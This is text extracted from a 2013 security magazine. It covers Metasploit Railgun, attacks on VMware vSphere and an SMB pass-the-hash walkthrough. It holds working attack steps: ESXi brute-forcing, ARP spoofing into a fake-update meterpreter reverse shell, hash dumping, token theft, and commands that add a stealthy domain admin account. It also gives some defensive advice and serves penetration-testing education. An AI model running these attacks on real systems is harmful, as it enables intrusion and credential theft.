Using Railgun can be a very powerful and exciting experience. You can practice your own calls and scripts to analyze the outputs. But, what if the DLL, or the function you want to call is not a part of the Railgun definition. In that case Railgun also provides you the flexibility to add your own functions and DLL’s to Railgun. Let us see how this can be done. In order to do this we should have an understanding of Windows DLL’s. The Railgun manual can be helpful in giving you a quick idea about different Windows constants that can be used while adding function definitions. It can be found at the following location: /framework3/msf3/external/source/meterpreter/ source/extensions/stdapi/server/railgun/railgun_ manual.pdf

Adding a new DLL definition to Railgun is an easy task. Suppose you want to add a DLL that ships with Windows, but it is not present in your Railgun, then you can create a DLL definition under: /framework3/lib/rex/post/meterpreter/extensions/ stdapi/railgun/def and name it as def_dllname.rb.

Consider the example of adding shell32.dll definition into Railgun. We can start with adding the following lines of codes:

TBO 01/2013

module Rex module Post module Meterpreter module Extensions module Stdapi module Railgun module Def class Def_shell32 def self.create_dll(dll_path = ‘shell32’) dll = DLL.new(dll_path, ApiConstants.manager) ...... end end end; end; end; end; end; end; end

Saving this code as def_shell32.dll will create a Railgun definition for shell32.dll. The next step is to add functions to the DLL definition. If you look at the def_shell32.dll script in metasploit, you will see the IsUserAnAdmin function is already added into it.

>> client.railgun.shell32.OleFlushClipboard => {“GetLastError”=>0, “return”=>true}

Alternately you can also add the DLL’s and functions directly to Railgun using add_dll and add_ function. Here is a complete script that checks for the availability of shell32 DLL and OleFlushClipboard function, and if they are not present, then add them using add_dll and add_function calls (Listing 1). This was a short demonstration on how to use Railgun as a powerful tool to call Windows APIs depending on your need. You can look for various useful Windows API calls in MSDN library and add them into Railgun and enhance the functionality of your framework. It can be used to call any DLL that is residing on target machine.

dll.add_function(‘IsUserAnAdmin’, ‘BOOL’, [])

The function simply returns a Boolean True or False depending upon the condition. Similarly, we can add our own function definition in shell32. dll. Consider the example of adding OleFlushClipboard() function. This will flush any data that is present on Windows clipboard. Adding the following line of code in the shell32.dll definition will solve our purpose: dll.add_function(‘OleFlushClipboard’ , ‘BOOL’ , [])

Now save the file and go back to meterpreter session to check if the function executes successfully or not.

ABHINAV SINGH

Abhinav Singh is a young information security specialist from India. He has a keen interest in the field of Hacking and Network security and has adopted this field as his full time employment. He is the author of “Metasploit penetration testing cookbook” , a book dealing with Metasploit and penetration testing. He is also a contributor of SecurityXploded community. Abhinav’s work has been quoted in several portals and technology magazines worldwide. He can be reached at: Mail: [email protected]. Twitter: @abhinavbom

Listing 1. Add shell32 DLL and OleFlushClipboard function if client.railgun.get_dll(‘shell32’) == nil print_status “Adding Shell32.dll” client.railgun.add_dll(‘shell32’,’C:\\WINDOWS\\system32\\shell32.dll’) else print_status “Shell32 already loaded.. skipping” end if client.railgun.shell32.functions[‘OleFlushClipboard’] == nil print_status “Adding the Flush Clipboard function” client.railgun.add_function(‘shell32’, ‘OleFlushClipboard’, ‘BOOL’, []) else print_status “OleFlushClipboard already loaded.. skipping” end

www.hakin9.org/en

115

TOOLS

vMware vSphere

Security and Metasploit Exploitation Framework VMware vSphere is another layer in your overall environment to attack. In this article you will learn some of the threats, how to mitigate them and how to attack that virtual layer.

F

or a number of years now I have had the privilege of traveling the globe while working with some amazing individuals to provide security assessments and training. In recent years, this work has evolved from performing standard security assessments, forensics and pentesting to focusing on security within the virtual environment. I was introduced to the VMware Hypervisor and it various products by Tim Pierson, a cloud security expert out of Dallas, TX. Working with virtualization has proven to be very enjoyable; however there is always a downside. Many owners, managers and administrators often ignore the need to assess the security of their VMware vSphere environments. Since virtualization is normally implemented in the internal network, the level of risk has been considered low and the security around the Hypervisor and vCenter have been terribly overlooked! Working with VMTraining to develop courseware to help us understand the risks that are inherent within this environment has been a real privilege and I have enjoyed being on the cutting edge of a technology that has taken over the world! We are making certain assumptions while writing this article. For example, we will not go into what VMware vSphere, Hypervisor or vCenter is or does and we expect that you will have a general working knowledge of the VMware environment in order to understand the topics we will be explaining and demonstrating within this article.

116

We are going to start this article by discussing a few of the reasons why virtual architecture should be viewed as yet another layer within an environment that contributes to the environment’s overall attack surface. First of all, the virtualization software is the underlying bedrock of the virtualized environment. All virtual servers are dependent up-

Figure 1. Shodan Search

Figure 2. Shodan Search Results

TBO 01/2013

Figure 3. ESXi 5 Host Found with Shodan Search

Figure 4. Threat Impact on ESXi 4.x

Figure 5. Threat Impact on vCenter Server 4.x

www.hakin9.org/en

on it and when access is gained to management interfaces, the entire infrastructure can be owned. We all understand that virtualization can be deployed in many different ways ranging from a simple design to more robust and complex architectures. Regardless of the complexity of the deployment, they all have threats that must be assessed. I have seen best of breed deployments where most every threat has been covered and I have also seen deployments exposed to the web which are easy to access by anyone. Take, for example, the use of Shodan at http://www.shodanhq.com. If you are not familiar with this website, you should spend some time gaining an understanding of the capabilities behind this impressive system. A simple explanation is that it is a server search engine. In Figure 1, you will see a simple search for VMware ESX. This is a list of hosts that are directly connected to the Internet and Shodan has found them. Wow, that is scary! This is no security, would you agree? While some of these systems may be development servers, this level of exposure is not a good idea! When we use a browser to navigate to one of the IP Addresses found with Shodan, we see the following in Figure 3. Look Familiar? I think they are asking us to exploit their weak security posture! Ok, that is illegal so please do nothing more than look! There are hundreds of threats related to the overall VMware environment ranging from attacks on the hypervisor, vCenter, Update Manager, Data Recovery and many others. I would like you to notice the results of the attacks directly against an ESXi 4.x host in Figure 4. When looking at the statistics from Secunia, we can

117

TOOLS

Figure 6. Threat Impact on vCenter 5.x

see that the top 2 results are System access and DoS! System access on an ESXi host that will allow an attacker to access everything on the box! What about vCenter? See Figures 5 and 6. As you can see, the devastation of attacks against vCenter is significant. Keep in mind that the worst credit card heist in known history, the Gonzalez indictment, occurred from 2006-2008 in a virtualized environment! The attack was performed against systems that were running on ESX. In the end, the attackers placed a rootkit on the ESX host that captured credit card information traveling through the host memory and CPU. In other words, they captured the traffic for many of the SQL servers at one time which resulted in 140 to 180 million cards stolen! This incident alone should alert us to the need for hardening our virtual environments.

Common Mistakes When Deploying Virtualized Environments

Figure 7. Common vSphere Network

118

What are some of the most common mistakes made when deploying VMware vSphere? The most frequent and critical error is a lack of network segmentation to separate the management servers from the rest of the common network. Figure 7 is a screenshot of a classroom network used to demonstrate the commonly used methods for deploying a virtual network. Take note: there is no use of VLAN’s. In this environment, a virtual machine will have access to all of the other systems on the network. This is not how things should be done! Even when we have a segmented management network with the use of VLAN’s and vShield zones, there is still a common mistake! How is the vCenter Administrator accessing the management network?

TBO 01/2013

TOOLS Figure 8. Metasploit Directory

This is the common breakdown in the environment. It has amazed me how many companies ignore common security practices within the virtual deployment. They harden the network and windows servers but ignore the virtual. How many companies are logging onto the Hypervisor with root and a common password known by every user? WHAT, are you kidding me? Unfortunately, this is more common than not, even though it flies in the face of every compliance policy ever written!

Exploiting the vSphere Environment The rest of this article will look at how to exploit the vSphere environment using Metasploit as the framework. The July 2012 Pentest Magazine had an article titled “Working with Exploitation Frameworks Metasploit” in which it was mentioned that many pentesters do not take full advantage of the additional functionality of Metasploit. We will be using auxiliary modules that were created and then added to the Metasploit framework along with existing built in modules. Some of the best modules in the industry used to directly attack a vSphere environment were created by Claudio Criscione and his team! Claudio’s research and development has been amazing,

providing us with simple to use exploits that help us to maximize our exploitation success. One of the auxiliary modules allows us to download virtual machines directly from an ESX 3.5 host with no credentials. My personal favorite is the exploit that allows you to steal the SOAP ID of an existing vCenter 4.x administrator and then ride the admin’s session! No need for anything but access to vCenter!! We will be using the auxiliary modules developed by Claudio and his team called VASTO (Virtualization ASessment TOolkit). You can download it at http://vasto.nibblesec.org/. Once you have downloaded the auxiliary modules, you can copy the vasto folder to the auxiliary directory. Figure 8 shows the path in Backtrack4. It is time to take a look at using the Metasploit Framework auxiliary modules to scan and exploit the vSphere environment. All of the following demonstrations were provided by a colleague of mine, Vincent Hautot. Vincent is a highly skilled Pentester and trainer with Sysdream (http://www.sysdream.com/) of Paris, France. Sysdream is the go-to organization for anything security in France! They are the founders of hackerzvoice (http://www.hackerzvoice.net/) and hacker’s night (http://www.nuitduhack.com/ en) which is an amazing conference that has continued to grow each year! Thank you Vincent for your contribution to the article.

Listing 1. VMware fingerprint scanner msf

auxiliary(esx_fingerprint) > info Name: Module: Version: License: Rank:

VMWare ESX/ESXi Fingerprint Scanner auxiliary/scanner/vmware/esx_fingerprint $Revision$ Metasploit Framework License (BSD) Normal

Provided by: TheLightCosine Basic options: Name Current Setting -----------------Proxies RHOSTS RPORT 443 THREADS 1 URI /sdk VHOST

120

Required -------no yes yes yes no no

Description ----------Use a proxy chain The target address range or CIDR identifier The target port The number of concurrent threads The uri path to test against HTTP server virtual host

TBO 01/2013

The first two demonstrations from Vincent use modules provided in the Metasploit Framework 4.2. Make sure to update your framework with svn up in order to verify that you have the correct modules. Once Metasploit has all of the auxiliary modules in place, we can start to make use of them! The first of our demonstrations makes use of the vmware fingerprint module. Once you have launched Metasploit in the console interface, run the following command: msf > use auxiliary/scanner/vmware/esx_fingerprint

We can see details about the module in Listing 1. Description This module accesses the web API interfaces for VMware ESX/ESXi servers and attempts to identify version information for that server.

What is the purpose? This module is designed to help us find actual hosts on the network and identify the exact version and build. You can enter a range of IP Addresses or a single address. In our example, we are looking to fingerprint a specific host which we have already scanned using NMAP. Just like other modules, we need to set the remote host for the system we are fingerprinting. When looking at the details above you will see there are three requirements: RHOSTS, RPORT and THREADS. Two of the three are already set with standard settings that will work in our environment. Now, we simply set the RHOSTS and run the module: msf

auxiliary(esx_fingerprint) > set RHOSTS 192.168.3.212 RHOSTS => 192.168.3.212 msf auxiliary(esx_fingerprint) > exploit

Listing 2. Metasploit bruteforce attackt msf msf

auxiliary(esx_fingerprint) > use auxiliary/scanner/vmware/vmauthd_login auxiliary(vmauthd_login) > info Name: Module: Version: License: Rank:

VMWare Authentication Daemon Login Scanner auxiliary/scanner/vmware/vmauthd_login $Revision$ Metasploit Framework License (BSD) Normal

Provided by: TheLightCosine Basic options: Name Current Setting Required Description ------------------ -------- ----------BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line RHOSTS yes The target address range or CIDR identifier RPORT 902 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS true no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts

www.hakin9.org/en

121

TOOLS The results below have identified the host correctly and now we know exactly what we are attacking! [+] [2012.08.14-10:16:47] Identified VMware ESXi 5.0.0 build-623860 [*] [2012.08.14-10:16:47] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(esx_fingerprint) >

This module utilizes TCP port 443 and if you read the source of this module located at: $METASPLOIT _ HOME/modules/auxiliary/scanner /vmware/esx _ fingerprint.rb you can find the as-

sociation of the sdk path to the https connection. The public method is available with the wsdl file which is shown in Figure 9. Now that we have identified the host and version, we can look at possible means of exploita-

Listing 3. Bruteforce results msf

auxiliary(vmauthd_login) > exploit

[*] [2012.08.14-10:31:39] 192.168.3.212:902 Banner: 220 VMware Authentication Daemon Version 1.10: SSL Required, ServerDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , VMXARGS supported [*] [2012.08.14-10:31:39] 192.168.3.212:902 Switching to SSL connection... [-] [2012.08.14-10:31:42] 192.168.3.212:902 vmauthd login FAILED - root:root [-] [2012.08.14-10:31:43] 192.168.3.212:902 vmauthd login FAILED - root:123456 [-] [2012.08.14-10:31:45] 192.168.3.212:902 vmauthd login FAILED - root:12345 [-] [2012.08.14-10:31:48] 192.168.3.212:902 vmauthd login FAILED - root:123456789 [+] [2012.08.14-10:31:48] 192.168.3.212:902 vmauthd login SUCCESS – root:password

Listing 4: Metasploit VILurker attack msf

auxiliary(vmware_vilurker) > info Name: vasto: VIlurker VIclient attack Module: auxiliary/virt/vmware_vilurker Version: 0.9 License: GNU Public License v2.0 Rank: Normal

Provided by: Claudio Criscione Basic options: Name Current Setting Required Description ------------------------- ----------LHOST no The local IP address to listen to. LPORT no The local port. PAYLOAD windows/meterpreter/bind_tcp yes The payload to run against the client. RHOST 192.168.130.95 no The remote host. RPORT no The remote port. SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 443 yes The local port to listen on. SSL true yes Use SSL SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

122

TBO 01/2013

tion. There are many options; however we are going to stick with the tried and true method of using Metasploit to Bruteforce the ESXi login! Metasploit has provided a module to bruteforce the local account. This module will use a dictionary attack and you will need a dictionary file. The file can be your own or you can use the built-in file from Metasploit found at $METASPLOIT_HOME/ data/wordlist/. Let’s get this show on the road: Listing 2. Description This module will test vmauthd logins on a range of machines and report successful logins. References http://cve.mitre.org/cgi-bin/cvename.cgi?name =1999-0502.

Listing 5. VILurker settings msf

auxiliary(vmware_vilurker) > set LHOST 192.168.130.151 LHOST => 192.168.130.151 msf auxiliary(vmware_vilurker) > set LPORT 4444 msf

auxiliary(vmware_vilurker) > set LPORT 6567 LPORT => 6567 msf auxiliary(vmware_vilurker) > set PAYLOAD windows/meterpreter/reverse_ tcp PAYLOAD => windows/meterpreter/reverse_tcp

Listing 6. VILurker is now waiting

There are six settings required to setup the bruteforce attack, and a few others that we may need to change. Vincent has started at the top and verified all of the settings. The first change needed is the use of blank passwords:

msf

msf

[*] [2012.08.14-15:49:58] Server started. msf auxiliary(vmware_vilurker) >

auxiliary(vmauthd_login) > set BLANK_PASSWORDS false BLANK_PASSWORDS => false

So why not check for blank passwords? Looking at the version from the fingerprint module, we see this is version 5 of ESXi. In version 5, you

Figure 10. Lockdown Mode

auxiliary(vmware_vilurker) > set RPORT 6565 RPORT => 6565 msf auxiliary(vmware_vilurker) > exploit [*] Auxiliary module execution completed

Listing 7. VILurker introduces compromised update [*] [2012.08.14-15:50:09] VIlurker 192.168.130.95 is asking for clients.xml. Triggering VIlurker [*] [2012.08.14-15:50:09] answering HTTP/1.1 200 Ok Host: 192.168.130.151 Content-Type: text/xml Content-Length: 266 Connection: Close 902 10 10.0.0 10.0.0 https://*/client/VMware-viclient. exe

Figure 11. DCUI Lockdown Mode

www.hakin9.org/en

123

TOOLS are required to enter a password during the install process so the chance that you will run into a blank password is very low. If this had been ESXi 4.1 where no password is required during the install process, we would need to check for blank passwords. The bruteforce speed is the next required option and the default setting is the fastest possible at 5. This setting is fine for our demonstration but it may need to be adjusted in some environments. As expected, we need to set the RHOSTS:

msf

auxiliary(vmauthd_login) > set RHOSTS 192.168.2.212 RHOSTS => 192.168.2.212

All that is left for us is to identify the username that we will be attacking. We will let Metasploit use its own password list: msf auxiliary(vmauthd_login) > set USERNAME root USERNAME => root

Listing 8. vSphere Client Update being sent [*] [2012.08.14-15:50:11] VIlurker - Bingo 192.168.130.95 is asking for the update. Creating the exploit [*] [2012.08.14-15:50:11] VIlurker - Creating payload... [*] [2012.08.14-15:50:11] Executing /opt/metasploit/msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.130.151 LPORT=6567 X > /root/.msf4/modules/auxiliary/vasto/data/ lurker.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 290 Options: {“LHOST”=>”192.168.130.151”, “LPORT”=>”6567”} [*] [2012.08.14-15:50:19] 192.168.130.95 uploading exploit [*] [2012.08.14-15:50:19] VIlurker - Saving session information on the DB

Listing 9. Meterpreter Handler msf

auxiliary(vmware_vilurker) > use exploit/multi/handler

PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LPORT 6567 LPORT => 6567 msf exploit(handler) > set LHOST 192.168.130.151 LHOST => 192.168.130.151 msf exploit(handler) > exploit

Listing 10. Meterpreter running, game over meterpreter > ifconfig Interface 65539 ============ Name : Carte AMD PCNET Family Ethernet PCI #2 - Miniport d’ordonnancement de paquets Hardware MAC : 08:00:27:9f:93:20 MTU : 1500 IPv4 Address : 192.168.130.95 IPv4 Netmask : 255.255.255.0

124

TBO 01/2013

Now let’s run this baby and see what we can find! (Listing 3). We have found valid username and password. We should apply a correct password policy. Just as you may expect, Metasploit makes this too easy for us! This is what it is all about, making our job easier. We simply want to test the environment. Remember, a properly configured system would not allow this attack to occur. For one, it should be segmented although even if Vincent was part of the management network he would not be able to perform this attack if the Lockdown mode was enabled on each host! You may be asking “What about this lockdown mode?” Once your host is joined to vCenter you can enable lockdown mode which prevents new login sessions from occurring on the host. Thus, we could not even attempt this attack because no new session is allowed. You can enable lockdown mode on the configuration tab of the host in vCenter. The exact location is Configuration>Security Profile>Lockdown Mode>Edit. If you are concerned about having issues due to vCenter losing connection to the host, there is no need. You can enable/disable Lockdown Mode from the DCUI as well as within vCenter (Figure 11). Cool – now we own your box since lockdown mode is turned off! We will move on and look at one of the many modules provided to you in VASTO. Vincent has chosen to attack the vSphere administrator directly by using a MiTM attack that circumvents the standard communication with the

vSphere Client. In this demonstration we will be using the VASTO auxiliary module called viluker. The reason this attack will work is due to the communication process from the vSphere client to the vCenter or Host. The vSphere Client will ask for the host or vCenter “What is the latest version of the vSphere Client?” If a newer version of the client software is available, the client will be told where to download it and can update on the fly. Here are the IP addresses for the attack demonstrated below: Attacker IP: 192.168.130.151 Victim IP: 192.168.130.95 ESXi IP: 192.168.130.13

Because this is a MiTM attack we must intercept the traffic between the victim and the ESXi host. We will use arpspoof: [root@fedora metasploit]# arpspoof -i p4p1 -t 192.168.130.95 192.168.130.13

We also have to redirect the network connection to the attacker process with the following iptables command: [root@fedora metasploit]# iptables -t nat -A PREROUTING -d 192.168.130.13 -p tcp --dport 443 -j DNAT --to-destination 192.168.130.151:443

Now that we are intercepting and routing the traffic properly, we can run the vilurker exploit (Listing 4). Description This module performs the VIlurker attack against a Virtual Infrastructure or VSphere client. The VI client will be tricked into downloading a fake update which will be run under the user’s credentials.

Figure 12. Victim chooses to install the update

www.hakin9.org/en

Did you notice the payload? Yes, we are utilizing the famous Meterpreter to take advantage of the Windows OS. There are a few settings we need to establish before launching the exploit (Listinfg 5). We chose to use reverse

125

TOOLS TCP rather than the bind method. With the reverse TCP method, we are telling the victim to connect to the attacker rather than just leaving a port open for the attacker to connect to the victim (Listing 6). Now that all of the settings are established and we have the exploit running, we sit and wait for the administrator to connect! That is easy! Below you will see that a connection has been established and the vSphere client is asking for the clients.xml file. The auxiliary module providing this on our behalf! (Listing 7). Next, the victim will say “yes” to updating the vSphere client and the attacker will see the following: Listing 8. At this time, the attacker will need to configure the handler to accept the connection from the victim: Listing 9. At this point in the exploit, the attacker has successfully established a MiTM attack and convinced the vSphere Administrator that there is an update for the vSphere Client. After saying yes to an update, the package is sent and now the victim must choose to install the update. Updates are always great and needed by all administrators! Figure 12 is what the victim will see at this stage. The victim will install the update which is actually the Meterpreter module. Once the update is finished, the administrator will continue with his work, connect to the vCenter, and probably not notice anything out of the ordinary. As the attacker, we will see the following:

This article provides just enough information to get you started. Take the time to look over the other exploits developed to attack vSphere. If you develop some on your own, please share them with the rest of the world so we can all create a more secure future! We have only demonstrated some of the attacks available when using Metasploit, however there are many other tools available to us when working in this environment. NMAP has a complete set of testing requirements to identify vCenter or ESXi and ESX. We also make use of Cain and Abel and many other scanning tools on the market for verification purposes. One thing we all need to remember is chained exploits! In today’s environments, the one and done hacks no longer work and we need to chain together multiple hacks to get what we are after. Hacking the virtual environment is no different. VMtraining and Sysdream (Duane and Vincent) would like to thank you for taking the time to learn a little bit more about security in the virtual environment. There is so much more we would like to share with you, but that would require Vincent and I to write an entire book. I am not sure either of us has the time. However you can attend one of our 5 day classes offered at Sysdream or anywhere in the globe you can find the VMTraining classes. We look forward to meeting you one day.

[*] [2012.08.14-15:51:59] Sending stage (752128 bytes) to 192.168.130.95 [*] Meterpreter session 1 opened (192.168.130.151: 6567 -> 192.168.130.95:2980) at 2012-08-14 15:52:01 +0200

We can now run any command we like because we own the box: Listing 10. This, of course, is just one example out of many when testing the security posture of the virtual environment. When looking at methods to prevent this type of attack you would normally consider how administrators connect to the virtual infrastructure, what path is being used and what other devices are on the same network. If you cannot provide the level of segmentation required to secure the internal network, as administrators you must at least be mindful of any updates you have applied to vCenter or the host. Any updates from VMware will provide documentation regarding what is updated and the vSphere client would be listed. If there has not been any update to the vSphere client, you should never receive the upgrade notice.

126

DUANE ANDERSON

Duane Anderson ([email protected]) is a consultant, trainer and courseware developer for VMTraining, specializing in cloud and virtualization technologies.

TBO 01/2013

Take control over ERP with Xpandion’s complete suite of products Rapid implementation process

No SAP® expertise needed

Installed externally to SAP and other monitored systems, ProfileTailor Dynamics suite is up and running within days, delivering immediate results alongside ongoing monitoring and alerting support.

Simple web-based control

Optimize SAP licenses Save up to 50% in license usage! Manage all systems from centralized point Save on valuable resources

Based on Xpandion’s unique behavioral-profiling technology, ProfileTailor Dynamics learns actual system consumption, providing maximum security and management efficiency while significantly reducing IT asset management costs.

Enhance SAP security Save over 15% on total maintenance fees! Achieve 360° real-time view of authorizations Detect sensitive activities and react instantly Control GRC

Request Demo

Cut GRC expenses by 30-50%! Proactively prevent fraud Minimize business risk

SAP® is a registered trademark of SAP AG in Germany and in several other countries.

[email protected] Tel +1-800-707-5144

www.xpandion.com

TOOLS

Metasploit – How to Play with Smb and Authentication Ok folks, when you are reading this title you are thinking ‘’Hey, this stuff is old crap, it’s impossible who this attack are yet working in native windows 2008 R2 Active Directory Domain...’’

B

ut...You are wrong. This stuff still working in the state of the art infrastructure. And I want to show you... In my experience a lot of infrastructures have two big problems, they are using local admin credential with the same password in some or all systems of the network and maintain some servers (or clients) unpatched, with these two common mistakes we can completely Pown the infrastructure. Two pillars of best practices are just patching and a different password for local admin for each host and it is possible to retrieve a lot of best practices from the Internet and in many books about security architecture, but a lot of system admin don’t use them, why? In most case because the system admins are uneducated in security, or because they are lazy, or because they are too busy..

Beginning the attack The first step is to find the vulnerable host, we can do this in a lot of manners, the ROE in the contract with your customers are the driver, in some case we can use tools like nessus, if the noise is acceptable, otherwise the choice of old style hackers is to work with nmap with a very small range of ports and with a long interval between one port and another, something like a ‘paranoid’ scan on the nmap timing template. In my test lab I have one host with installed windows 2k8 sp2 unpatched, this host is vulnerable, I

128

will try to use an attack against the smb2, the exploit ms090 050, the exploit is stable enough, but in some cases can crash the target, for this reason be careful in production environments. Before starting with the attacks we will review the test lab configurations, we have three windows hosts, two of them have installed windows server 2k8 R2 and one is with windows server 2k8 sp2, the two host 2k8R2 are on the 2k8 Active Directory domain, the domain mode and the forest mode are windows 2k8, the host with windows server 2k8sp2 is a workgroup server with file sharing enabled, look at this table: DC2k8R2 – 192.168.254.201 – Domain Controller and DNS server SRV2k8R2 – 192.168.254.202 – Member Server SRV2k8sp2 – 192.168.254.204 – Stand Alone Server – File Sharing

We have also an attacking machine, in my case a Backtrack 5 R2 x64 with IP 192.168.254.1. I like the Backtrack machine because is not necessary to install a lot of tools, it has the most popular and used tools directly on-board. I start the metasploit framework in my BT5R2 machine, normally I like to work with msfconsole because this is the most interactive from the environment of metasploit framework, but if you prefer the GUI, is possible to work with Armitage. Now I configure the first exploit:

TBO 01/2013

use exploit/windows/smb/ms09_050_smb2_negotiate_ func_index and I will set the payload and the other parameters set PAYLOAD windows/meterpreter/reverse_tcp set RHOST 192.168.254.204 – the remote host to attack set LHOST 192.168.254.1 – the host who receive the reverse shell

and I run the attack in background with exploit -j (Figure 1). The attack sends the exploit packet and I will get my session, normally I like to work with meterpreter, if it is possible (Figure 2). The exploit worked well (hey dude, don’t sleep... remember, this exploit, in some cases, doesn’t work properly... it is also possible to get blue screen in target machine; Figure 3). Now we have the control of the target machine, but I don’t tell you the auxiliary skill necessary in a real pentest, for example the manner to migrate from one process to another... I want to start immediately with the search of good credentials for switch to another machine, I will use the script hashdump, this script seek the syskey in the windows register and after dump the password hash from the SAM database. Ok, write run hashdump and wait... (Figure 4). Look the administrator password:

Administrator:500:aad3b435b51404eeaad3b435b51404ee: a87f3a337d73085c45f9416be5787d86

This is the built in Administrator, the sid is 500 and this is the LM hash: aad3b435b51404eeaad3b435b51404ee

Do you know this hash? I think yes, this is the hash for null password, this happens because the LM hash is disabled. The second chunk of password is the NTLM password hash : a87f3a337d73085c45f9416be5787d86

In my lab the password isn’t so strong, but in a real pentest the password can be very hard to crack, if you use long and complex password, which no dictionary word, the time necessary to crack the password is over the time who you have in a pentest...sorry? What are you saying to me? Rainbow tables? Mmmmh in my production environment I use password with 10 or 12 characters...do you have rainbow for this? I need another way to Pown other machine without cracking the passwords. I will use the metasploit pass-the-hash attack, I try to use directly the hash no matter if the password is complex. The pass-the-hash attack is a very destructive attack, the big problem is that this is not a vulnera-

Figure 3. It does not always work Figure 1. Run the attack

Figure 2. Work with Meterpreter

www.hakin9.org/en

Figure 4. Run hashdump

129

TOOLS bility, but a feature, in order to patch this vulnerability it is necessary to rewrite completely the authentication structures, this feature is the basic feature which permits to share resource in a workgroup. The only way to avoid the attack is to not share the same password for the same user in different hosts. In my test lab the SRV2k8sp2 machine is not member of the domain, but the Administrator password of this machine is the same of the Domain Member Server SRV2k8R2. In metasploit this attack is based on the tool of Sysinternals Psexec. Normally, after use of hashdump script I copy and paste the hash in a text file on my desktop. After the meterpreter command background I set up the attack for the second host, I use the exploit/

windows/smb/psexec and the payload windows/ meterpreter/reverse_https; The other options are (Figure 5): set set set set set

RHOST 192.168.254.202 LHOST 192.168.254.1 SMBUser Administrator SMBDomain srv2k8r2 SMBPass aad3b435b51404eeaad3b435b51404ee:a87f3 a337d73085c45f9416be5787d86

Ok, the exploit worked... After few seconds we have the second session of our attack, with the meterpreter command sessions –i 2 I interact with this second session (Figure 6). Now I have Powned a host that is member of the domain, but my current privilege is local admin, without domain permissions. I need to escalate privileges, with a quick look of running program in my target machine with the command ps I can see the program with PID 1432, vds.exe, this program is running with privileges of administrator of the domain 2k8, I hope to find the token of this user in this target machine (Figure 7).

Figure 8. The „incognito” extension Figure 5. Other options

Figure 9. Steal the token Figure 6. Second session

Figure 7. Target machine

130

Figure 10. There is no account

TBO 01/2013

To do this I need to load the ‘’incognito’’ extension, this extension is very funny, with incognito it is possible to steal tokens of users and is also possible to create a user or to put this user in a global or domain local group...Very interesting... (Figure 8). I can use list_token to see the tokens available in this machine and after it is possible to use these founded tokens with impersonate_token command, alternatively, I can use the command steal_ token (Figure 9). If I invoke this command with the PID of the process I get the token used from the process, in my case I get the domain admin token. Now I want to add my own administrator to the attacked domain, my user will have a very stealthy name, ‘’hacker’’. This account doesn’t exist in 2k8 domain (Figure 10). I try to create...I try to use add_user command from incognito... add_user Hacker Passw0rd

but nothing happened in the 2k8 domain... This is because despite that I am a domain admin, I am not in a domain controller, the newly created user is simply a local user in this target host... Fortunately the incognito add_user option has a ‘’-h’’

Figure 11. Executing the command

for using this command versus a remote host, in my case I want to use this command in my target Domain Controller, because the D.C don’t have local user this is the same that executing the command in the domain (Figure 11). I will try again with this options and specifying the IP address of a Domain Controller (Figure 12): add_user Hacker Passw0rd -h 192.168.254.201

The command output is the same as the previous, I need to see in A.D (Figure 13). Very good, now the user ‘’hacker’’ is on my domain. But this user is only a domain user, with no administrative privileges, I try to add some privileges with two commands of incognito (Figure 14 and Figure 15): add_localgroup_user administrators hacker -h 192.168.254.201 add_group_user “domain admins” hacker -h 192.168.254.201

And now my newly created user has administrator and domain admin, as you can see, I have used two different commands, because the ‘’domain admin’’ group is a global group, while administrators group is a domain local group (not really domain local, is a built-in local, but for my job, is the same...) With this technique I can add (or remove) any group which I want, I need only to know if the group is domain local or global. In a real pentest we need to understand the naming convention in use and after we can create a very stealthy account.

Figure 12. Specify the IP of a Domain Controller

Figure 13. Similar command output

Figure 14. Hacker User

www.hakin9.org/en

Figure 15. Adding privileges

131

TOOLS Real life

To nest the new user:

It’s not so strange that some meterpreter commands or loading extensions doesn’t working properly.

net localgroup administrators hacker2 /add /domain net group “domain admins” hacker2 /add /domain

What happen in this case? Normally nothing, all, or most command have a workaround to get the same result, below some examples: The meterpreter command ‘’shell’’ is not working? No problem, we can use the generic meterpreter command for the command execution: execute –f cmd.exe –c –H -i

and now you have your shell... The incognito extension is a shortcut, if it don’t work, you can use some shell commands: To create a user:

132

At this point you are the king of the domain and you can do everything you want. In my lab I try the simplest way, now I can logon to my attacked Domain Controller with terminal server connection, now I am a regular user.... (Figure 16) In my test lab, I can use rdesktop for connect to the Domain Controller, because, like a lot of real servers windows server 2k8, the configuration of remote desktop connections is without NLA (Network Level Authentication; Figure 17). Otherwise we must install and use other tools (or you can use one windows attacking machine)

Defense and logging

net user hacker2 Passw0rd /add /domain

The first step to do is a procedure to quickly patch all the systems fast, but in real world this is not so simple, for a lot of reasons. In yours infrastructures, you might have a legacy application which is vital for your business? Or an equally important legacy hardware? With this con-

Figure 16. Log-on to Domain Controller

Figure 18. Leaving traces 1

Figure 17. Use rdesktop for the connection

Figure 19. Traces 2

TBO 01/2013

